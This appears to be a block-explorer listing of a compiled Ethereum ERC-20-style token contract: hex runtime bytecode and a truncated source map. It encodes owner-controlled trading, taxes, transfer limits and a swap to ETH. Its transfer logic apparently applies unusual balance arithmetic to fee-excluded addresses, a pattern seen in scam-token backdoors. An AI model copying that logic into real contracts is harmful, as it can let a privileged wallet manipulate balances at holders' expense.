1b900460ff161561080d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048c565b6013546001600160a01b031663f305d719473061083e816001600160a01b03165f9081526001602052604090205490565b5f806108515f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108dc919061185a565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610931573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109559190611885565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109d15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048c565b6001600160a01b038216610a325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048c565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048c565b5f8111610bba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048c565b601454600160b01b900460ff161580610bdc5750601454600160a81b900460ff165b15610bf157610bec838383610c7e565b505050565b610bfc838383610d23565b610bec838383611047565b5f8184841115610c2a5760405162461bcd60e51b815260040161048c91906115eb565b505f610c3684866118a4565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610c7a573d5f803e3d5ffd5b5050565b6001600160a01b0383165f90815260016020526040902054610ca19082906118a4565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cd09082906118b7565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a869085815260200190565b5f546001600160a01b03848116911614801590610d4d57505f546001600160a01b03838116911614155b15610bec5760065460ff1615610e35576013546001600160a01b03838116911614801590610d8957506014546001600160a01b03838116911614155b15610e3557325f908152600560205260409020544311610e235760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161048c565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610e6057506013546001600160a01b03838116911614155b8015610e8457506001600160a01b0382165f9081526003602052604090205460ff16155b15610f6a57600f54811115610edb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161048c565b60105481610efd846001600160a01b03165f9081526001602052604090205490565b610f0791906118b7565b1115610f555760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048c565b600e8054905f610f64836118ca565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610fa057506014546001600160a01b038481169116145b8015610fb55750601454600160b01b900460ff165b8015610fc45750600d54600e54115b8015610fe857506001600160a01b0384165f9081526003602052604090205460ff16155b801561100c57506001600160a01b0383165f9081526003602052604090205460ff16155b1561104157601154811115611038576110386110338361102e84601254611256565b611256565b61126d565b61104147610c3f565b50505050565b5f6110538484846113dd565b905080156110bf57305f90815260016020526040812080548392906110799084906118b7565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b038416158015906110ee57506001600160a01b0384165f9081526003602052604090205460ff165b80156110f957505f82115b6111225761110882600a6117f3565b61111383600b6117f3565b61111d91906118a4565b611142565b61112d82600a6117f3565b61113883600a6117f3565b61114291906118a4565b6001600160a01b0385165f90815260016020526040812080549091906111699084906118a4565b90915550506001600160a01b0383161580159061119d57506001600160a01b0383165f9081526003602052604090205460ff165b80156111a857505f82115b6111bb576111b68282611466565b6111da565b6111c68160026117f3565b6111d083836114a7565b6111da91906118a4565b6001600160a01b0384165f90815260016020526040812080549091906112019084906118b7565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61123f8585611466565b60405190815260200160405180910390a350505050565b5f8183116112645782611266565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b3576112b36118e2565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132e919061183f565b81600181518110611341576113416118e2565b6001600160a01b039283166020918202929092010152601354611367913091168461096f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139f9085905f908690309042906004016118f6565b5f604051808303815f87803b1580156113b6575f80fd5b505af11580156113c8573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f8061140b6064611405600b54600e54116113fa576007546113fe565b6009545b8690611505565b90611583565b6014549091506001600160a01b03858116911614801561143457506001600160a01b0385163014155b1561145e57610c366064611405600c54600e5411611454576008546113fe565b600a548690611505565b949350505050565b5f61126683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c07565b5f806114b383856118b7565b9050838110156112665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048c565b5f825f0361151457505f6103d6565b5f61151f83856117f3565b90508261152c8583611967565b146112665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048c565b5f61126683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836115df5760405162461bcd60e51b815260040161048c91906115eb565b505f610c368486611967565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611634575f80fd5b50565b5f8060408385031215611648575f80fd5b823561165381611620565b946020939093013593505050565b5f805f60608486031215611673575f80fd5b833561167e81611620565b9250602084013561168e81611620565b929592945050506040919091013590565b5f602082840312156116af575f80fd5b813561126681611620565b5f80604083850312156116cb575f80fd5b82356116d681611620565b915060208301356116e681611620565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561173f57815f1904821115611725576117256116f1565b8085161561173257918102915b93841c939080029061170a565b509250929050565b5f82611755575060016103d6565b8161176157505f6103d6565b816001811461177757600281146117815761179d565b60019150506103d6565b60ff841115611792576117926116f1565b50506001821b6103d6565b5060208310610133831016604e8410600b84101617156117c0575081810a6103d6565b6117ca8383611705565b805f19048211156117dd576117dd6116f1565b029392505050565b5f61126660ff841683611747565b80820281158282048414176103d6576103d66116f1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561184f575f80fd5b815161126681611620565b5f805f6060848603121561186c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611895575f80fd5b81518015158114611266575f80fd5b818103818111156103d6576103d66116f1565b808201808211156103d6576103d66116f1565b5f600182016118db576118db6116f1565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119465784516001600160a01b031683529383019391830191600101611921565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261198157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c68ecd77ce893b961c93556f6b779420a4dd0632b0c7d8550d364bf4397b68764736f6c63430008190033
Deployed Bytecode Sourcemap
3983:9707:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6368:83;;;;;;;;;;-1:-1:-1;6438:5:0;;;;;;;;;;;;;;;;;6368:83;;;;;;;:::i;:::-;;;;;;;;7247:186;;;;;;;;;;-1:-1:-1;7247:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7247:186:0;893:187:1;5215:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5215:55:0;1085:177:1;6645:95:0;;;;;;;;;;;;;:::i;7441:446::-;;;;;;;;;;-1:-1:-1;7441:446:0;;;;;:::i;:::-;;:::i;6554:83::-;;;;;;;;;;-1:-1:-1;6554:83:0;;4821:1;1870:36:1;;1858:2;1843:18;6554:83:0;1728:184:1;12242:212:0;;;;;;;;;;;;;:::i;:::-;;6748:117;;;;;;;;;;-1:-1:-1;6748:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6841:16:0;6814:7;6841:16;;;:7;:16;;;;;;;6748:117;3014:148;;;;;;;;;;;;;:::i;5024:56::-;;;;;;;;;;;;;;;;5972:388;;;;;;;;;;;;;:::i;2800:79::-;;;;;;;;;;-1:-1:-1;2838:7:0;2865:6;2800:79;;-1:-1:-1;;;;;2865:6:0;;;2315:51:1;;2303:2;2288:18;2800:79:0;2169:203:1;5087:58:0;;;;;;;;;;;;;;;;6459:87;;;;;;;;;;-1:-1:-1;6531:7:0;;;;;;;;;;;;-1:-1:-1;;;6531:7:0;;;;6459:87;;12562:96;;;;;;;;;;;;;:::i;6873:192::-;;;;;;;;;;-1:-1:-1;6873:192:0;;;;;:::i;:::-;;:::i;5152:56::-;;;;;;;;;;;;;;;;4361:40;;;;;;;;;;-1:-1:-1;4361:40:0;;;;;;;;12666:493;;;;;;;;;;;;;:::i;7073:168::-;;;;;;;;;;-1:-1:-1;7073:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7206:18:0;;;7179:7;7206:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7073:168;7247:186;7347:4;7364:39;2433:10;7387:7;7396:6;7364:8;:39::i;:::-;-1:-1:-1;7421:4:0;7247:186;;;;;:::o;6645:95::-;6698:7;4877:15;4821:1;4877:2;:15;:::i;:::-;4864:28;;:10;:28;:::i;:::-;6718:14;;6645:95;:::o;7441:446::-;7573:4;7590:36;7600:6;7608:9;7619:6;7590:9;:36::i;:::-;7637:220;7660:6;2433:10;7708:138;7764:6;7708:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7708:19:0;;;;;;:11;:19;;;;;;;;2433:10;7708:33;;;;;;;;;;:37;:138::i;:::-;7637:8;:220::i;:::-;-1:-1:-1;7875:4:0;7441:446;;;;;:::o;12242:212::-;2927:6;;-1:-1:-1;;;;;2927:6:0;2433:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;12295:12:0::1;:26:::0;;;12332:14:::1;:28:::0;;;12371:20:::1;:28:::0;;-1:-1:-1;;12371:28:0::1;::::0;;12415:31:::1;::::0;1231:25:1;;;12415:31:0::1;::::0;1219:2:1;1204:18;12415:31:0::1;;;;;;;12242:212::o:0;3014:148::-;2927:6;;-1:-1:-1;;;;;2927:6:0;2433:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;3121:1:::1;3105:6:::0;;3084:40:::1;::::0;-1:-1:-1;;;;;3105:6:0;;::::1;::::0;3084:40:::1;::::0;3121:1;;3084:40:::1;3152:1;3135:19:::0;;-1:-1:-1;;;;;;3135:19:0::1;::::0;;3014:148::o;5972:388::-;2927:6;;-1:-1:-1;;;;;2927:6:0;2433:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;6021:15:::1;:104:::0;;-1:-1:-1;;;;;;6021:104:0::1;6072:42;6021:104:::0;;::::1;::::0;;;6136:58:::1;::::0;6153:4:::1;::::0;4877:15:::1;4821:1;4877:2;:15;:::i;:::-;4864:28;::::0;:10:::1;:28;:::i;6136:58::-;6239:15;;;;;;;;;-1:-1:-1::0;;;;;6239:15:0::1;-1:-1:-1::0;;;;;6239:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6221:55:0::1;;6299:4;6319:15;;;;;;;;;-1:-1:-1::0;;;;;6319:15:0::1;-1:-1:-1::0;;;;;6319:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6221:131;::::0;-1:-1:-1;;;;;;6221:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;6221:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;6221:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6205:13;:147:::0;;-1:-1:-1;;;;;;6205:147:0::1;-1:-1:-1::0;;;;;6205:147:0;;;::::1;::::0;;;::::1;::::0;;5972:388::o;12562:96::-;2927:6;;-1:-1:-1;;;;;2927:6:0;2433:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;12615:35:::1;12628:21;12615:12;:35::i;:::-;12562:96::o:0;6873:192::-;6976:4;6993:42;2433:10;7017:9;7028:6;6993:9;:42::i;12666:493::-;2927:6;;-1:-1:-1;;;;;2927:6:0;2433:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;12728:11:::1;::::0;-1:-1:-1;;;12728:11:0;::::1;;;12727:12;12719:48;;;::::0;-1:-1:-1;;;12719:48:0;;5580:2:1;12719:48:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;12719:48:0::1;5378:347:1::0;12719:48:0::1;12788:15;::::0;-1:-1:-1;;;;;12788:15:0::1;:31;12827:21;12872:4;12892:24;12872:4:::0;-1:-1:-1;;;;;6841:16:0;6814:7;6841:16;;;:7;:16;;;;;;;6748:117;12892:24:::1;12931:1;12947::::0;12963:7:::1;2838::::0;2865:6;-1:-1:-1;;;;;2865:6:0;;2800:79;12963:7:::1;12788:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12788:223:0;;;-1:-1:-1;;;;;6089:15:1;;;12788:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;12985:15:0::1;6303:19:1::0;;;6296:35;6005:19;;12788:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13029:13:0::1;::::0;13060:15:::1;::::0;13022:71:::1;::::0;-1:-1:-1;;;13022:71:0;;-1:-1:-1;;;;;13060:15:0;;::::1;13022:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;13029:13:0;::::1;::::0;-1:-1:-1;13022:29:0::1;::::0;6800:18:1;;13022:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13104:11:0::1;:18:::0;;-1:-1:-1;;;;13133:18:0;-1:-1:-1;;;13133:18:0;;;12666:493::o;7895:335::-;-1:-1:-1;;;;;7988:19:0;;7980:68;;;;-1:-1:-1;;;7980:68:0;;7416:2:1;7980:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;7980:68:0;7214:400:1;7980:68:0;-1:-1:-1;;;;;8067:21:0;;8059:68;;;;-1:-1:-1;;;8059:68:0;;7821:2:1;8059:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;8059:68:0;7619:398:1;8059:68:0;-1:-1:-1;;;;;8138:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8190:32;;1231:25:1;;;8190:32:0;;1204:18:1;8190:32:0;;;;;;;;7895:335;;;:::o;11611:508::-;-1:-1:-1;;;;;11699:18:0;;11691:68;;;;-1:-1:-1;;;11691:68:0;;8224:2:1;11691:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;11691:68:0;8022:401:1;11691:68:0;-1:-1:-1;;;;;11778:16:0;;11770:64;;;;-1:-1:-1;;;11770:64:0;;8630:2:1;11770:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;11770:64:0;8428:399:1;11770:64:0;11862:1;11853:6;:10;11845:64;;;;-1:-1:-1;;;11845:64:0;;9034:2:1;11845:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;11845:64:0;8832:405:1;11845:64:0;11925:11;;-1:-1:-1;;;11925:11:0;;;;11924:12;;:22;;-1:-1:-1;11940:6:0;;-1:-1:-1;;;11940:6:0;;;;11924:22;11920:108;;;11963:32;11978:4;11984:2;11988:6;11963:14;:32::i;:::-;11611:508;;;:::o;11920:108::-;12038:30;12051:4;12057:2;12061:6;12038:12;:30::i;:::-;12079:32;12094:4;12100:2;12104:6;12079:14;:32::i;1464:224::-;1584:7;1620:12;1612:6;;;;1604:29;;;;-1:-1:-1;;;1604:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1644:9:0;1656:5;1660:1;1656;:5;:::i;:::-;1644:17;1464:224;-1:-1:-1;;;;;1464:224:0:o;12462:92::-;12519:10;;:27;;:10;;;;-1:-1:-1;;;;;12519:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12462:92;:::o;8238:219::-;-1:-1:-1;;;;;8340:13:0;;;;;;:7;:13;;;;;;:22;;8356:6;;8340:22;:::i;:::-;-1:-1:-1;;;;;8324:13:0;;;;;;;:7;:13;;;;;;:38;;;;8387:11;;;;;;;:20;;8401:6;;8387:20;:::i;:::-;-1:-1:-1;;;;;8373:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8423:26;;;;;;;;;;8442:6;1231:25:1;;1219:2;1204:18;;1085:177;8465:1767:0;2838:7;2865:6;-1:-1:-1;;;;;8552:15:0;;;2865:6;;8552:15;;;;:32;;-1:-1:-1;2838:7:0;2865:6;-1:-1:-1;;;;;8571:13:0;;;2865:6;;8571:13;;8552:32;8548:1677;;;8605:20;;;;8601:522;;;8686:15;;-1:-1:-1;;;;;8672:30:0;;;8686:15;;8672:30;;;;:83;;-1:-1:-1;8741:13:0;;-1:-1:-1;;;;;8727:28:0;;;8741:13;;8727:28;;8672:83;8646:462;;;8861:9;8832:39;;;;:28;:39;;;;;;8874:12;-1:-1:-1;8798:213:0;;;;-1:-1:-1;;;8798:213:0;;9707:2:1;8798:213:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:34;9765:18;;;9758:62;9856:34;9836:18;;;9829:62;-1:-1:-1;;;9907:19:1;;;9900:40;9957:19;;8798:213:0;9505:477:1;8798:213:0;9063:9;9034:39;;;;:28;:39;;;;;9076:12;9034:54;;8646:462;9169:13;;-1:-1:-1;;;;;9161:21:0;;;9169:13;;9161:21;:72;;;;-1:-1:-1;9217:15:0;;-1:-1:-1;;;;;9203:30:0;;;9217:15;;9203:30;;9161:72;:116;;;;-1:-1:-1;;;;;;9255:22:0;;;;;;:18;:22;;;;;;;;9254:23;9161:116;9139:438;;;9330:12;;9320:6;:22;;9312:60;;;;-1:-1:-1;;;9312:60:0;;10189:2:1;9312:60:0;;;10171:21:1;10228:2;10208:18;;;10201:30;10267:27;10247:18;;;10240:55;10312:18;;9312:60:0;9987:349:1;9312:60:0;9447:14;;9437:6;9421:13;9431:2;-1:-1:-1;;;;;6841:16:0;6814:7;6841:16;;;:7;:16;;;;;;;6748:117;9421:13;:22;;;;:::i;:::-;:40;;9391:140;;;;-1:-1:-1;;;9391:140:0;;10543:2:1;9391:140:0;;;10525:21:1;10582:2;10562:18;;;10555:30;10621:28;10601:18;;;10594:56;10667:18;;9391:140:0;10341:350:1;9391:140:0;9550:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9139:438;9642:4;9593:28;6841:16;;;:7;:16;;;;;;9686:6;;-1:-1:-1;;;9686:6:0;;;;9685:7;:47;;;;-1:-1:-1;9719:13:0;;-1:-1:-1;;;;;9713:19:0;;;9719:13;;9713:19;9685:47;:79;;;;-1:-1:-1;9753:11:0;;-1:-1:-1;;;9753:11:0;;;;9685:79;:130;;;;;9797:18;;9785:9;;:30;9685:130;:176;;;;-1:-1:-1;;;;;;9837:24:0;;;;;;:18;:24;;;;;;;;9836:25;9685:176;:220;;;;-1:-1:-1;;;;;;9883:22:0;;;;;;:18;:22;;;;;;;;9882:23;9685:220;9663:551;;;9966:17;;9943:20;:40;9940:205;;;10008:117;10051:51;10055:6;10063:38;10067:20;10089:11;;10063:3;:38::i;:::-;10051:3;:51::i;:::-;10008:16;:117::i;:::-;10163:35;10176:21;10163:12;:35::i;:::-;8586:1639;8465:1767;;;:::o;10931:672::-;11024:17;11044:37;11057:6;11065:7;11074:6;11044:12;:37::i;:::-;11024:57;-1:-1:-1;11098:13:0;;11094:143;;11144:4;11128:22;;;;:7;:22;;;;;:35;;11154:9;;11128:22;:35;;11154:9;;11128:35;:::i;:::-;;;;-1:-1:-1;;11183:42:0;;1231:25:1;;;11208:4:0;;-1:-1:-1;;;;;11183:42:0;;;;;1219:2:1;1204:18;11183:42:0;;;;;;;11094:143;-1:-1:-1;;;;;11268:18:0;;;;;;:48;;-1:-1:-1;;;;;;11290:26:0;;;;;;:18;:26;;;;;;;;11268:48;:60;;;;;11327:1;11320:6;:8;11268:60;:108;;11367:9;11370:6;11367:2;:9;:::i;:::-;11355;:6;11362:2;11355:9;:::i;:::-;:21;;;;:::i;:::-;11268:108;;;11343:9;11346:6;11343:2;:9;:::i;:::-;11331;:6;11338:2;11331:9;:::i;:::-;:21;;;;:::i;:::-;-1:-1:-1;;;;;11249:15:0;;;;;;:7;:15;;;;;:127;;:15;;;:127;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;11407:19:0;;;;;;:50;;-1:-1:-1;;;;;;11430:27:0;;;;;;:18;:27;;;;;;;;11407:50;:62;;;;;11468:1;11461:6;:8;11407:62;:124;;11510:21;:6;11521:9;11510:10;:21::i;:::-;11407:124;;;11496:11;11498:9;11496:1;:11;:::i;:::-;11472:21;:6;11483:9;11472:10;:21::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;11387:16:0;;;;;;:7;:16;;;;;:144;;:16;;;:144;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;11547:48:0;;;;;;;11573:21;:6;11584:9;11573:10;:21::i;:::-;11547:48;;1231:25:1;;;1219:2;1204:18;11547:48:0;;;;;;;11012:591;10931:672;;;:::o;12127:107::-;12184:7;12216:1;12212;:5;12211:15;;12225:1;12211:15;;;12221:1;12211:15;12204:22;12127:107;-1:-1:-1;;;12127:107:0:o;13204:483::-;5554:6;:13;;-1:-1:-1;;;;5554:13:0;-1:-1:-1;;;5554:13:0;;;13306:16:::1;::::0;;13320:1:::1;13306:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13306:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13306:16:0::1;13282:40;;13351:4;13333;13338:1;13333:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13333:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13377:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13377:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13333:7;;13377:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13367:4;13372:1;13367:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13367:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13442:15:::1;::::0;13410:62:::1;::::0;13427:4:::1;::::0;13442:15:::1;13460:11:::0;13410:8:::1;:62::i;:::-;13483:15;::::0;:196:::1;::::0;-1:-1:-1;;;13483:196:0;;-1:-1:-1;;;;;13483:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13564:11;;13483:15:::1;::::0;13606:4;;13633::::1;::::0;13653:15:::1;::::0;13483:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5590:6:0;:14;;-1:-1:-1;;;;5590:14:0;;;-1:-1:-1;;;;13204:483:0:o;10240:683::-;10369:7;10389:17;10409:161;10566:3;10409:142;10458:15;;10446:9;;:27;10445:95;;10526:14;;10445:95;;;10494:12;;10445:95;10409:7;;:21;:142::i;:::-;:156;;:161::i;:::-;10596:13;;10389:181;;-1:-1:-1;;;;;;10585:24:0;;;10596:13;;10585:24;:51;;;;-1:-1:-1;;;;;;10613:23:0;;10631:4;10613:23;;10585:51;10581:308;;;10665:212;10873:3;10665:185;10730:16;;10718:9;;:28;10717:114;;10816:15;;10717:114;;;10775:13;;10665:7;;:29;:185::i;10581:308::-;10906:9;10240:683;-1:-1:-1;;;;10240:683:0:o;1320:136::-;1378:7;1405:43;1409:1;1412;1405:43;;;;;;;;;;;;;;;;;:3;:43::i;1133:179::-;1191:7;;1223:5;1227:1;1223;:5;:::i;:::-;1211:17;;1252:1;1247;:6;;1239:46;;;;-1:-1:-1;;;1239:46:0;;12287:2:1;1239:46:0;;;12269:21:1;12326:2;12306:18;;;12299:30;12365:29;12345:18;;;12338:57;12412:18;;1239:46:0;12085:351:1;1696:246:0;1754:7;1778:1;1783;1778:6;1774:47;;-1:-1:-1;1808:1:0;1801:8;;1774:47;1831:9;1843:5;1847:1;1843;:5;:::i;:::-;1831:17;-1:-1:-1;1876:1:0;1867:5;1871:1;1831:17;1867:5;:::i;:::-;:10;1859:56;;;;-1:-1:-1;;;1859:56:0;;12865:2:1;1859:56:0;;;12847:21:1;12904:2;12884:18;;;12877:30;12943:34;12923:18;;;12916:62;-1:-1:-1;;;12994:18:1;;;12987:31;13035:19;;1859:56:0;12663:397:1;1950:132:0;2008:7;2035:39;2039:1;2042;2035:39;;;;;;;;;;;;;;;;;2210:7;2245:12;2238:5;2230:28;;;;-1:-1:-1;;;2230:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2269:9:0;2281:5;2285:1;2281;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5